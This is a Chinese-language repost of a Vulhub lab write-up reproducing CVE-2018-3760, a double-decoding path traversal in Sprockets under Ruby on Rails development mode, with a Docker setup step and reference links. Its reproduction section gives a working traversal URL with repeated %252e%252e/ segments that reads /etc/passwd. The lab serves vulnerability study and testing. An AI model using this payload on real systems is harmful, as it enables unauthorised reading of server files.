Vulhub - Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)復現
阿新 • • 發佈:2018-11-21
Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)
Ruby On Rails在開發環境下使用Sprockets作為靜態檔案伺服器,Ruby On Rails是著名Ruby Web開發框架,Sprockets是編譯及分發靜態資原始檔的Ruby庫。
Sprockets 3.7.1及之前版本中,存在一處因為二次解碼導致的路徑穿越漏洞,攻擊者可以利用%252e%252e/
來跨越到根目錄,讀取或執行目標伺服器上任意檔案。
參考連結:
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
環境搭建
啟動一個用Ruby On Rails腳手架生成的預設站點:
docker-compose up -d
訪問http://your-ip:3000
即可檢視到歡迎頁面。
漏洞復現
直接訪問http://your-ip:3000/assets/file:%2f%2f/etc/passwd
,將會報錯,因為檔案/etc/passwd
不在允許的目錄中:
我們通過報錯頁面,可以獲得允許的目錄列表。隨便選擇其中一個目錄,如/usr/src/blog/app/assets/images
%252e%252e/
向上一層跳轉,最後讀取/etc/passwd
:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd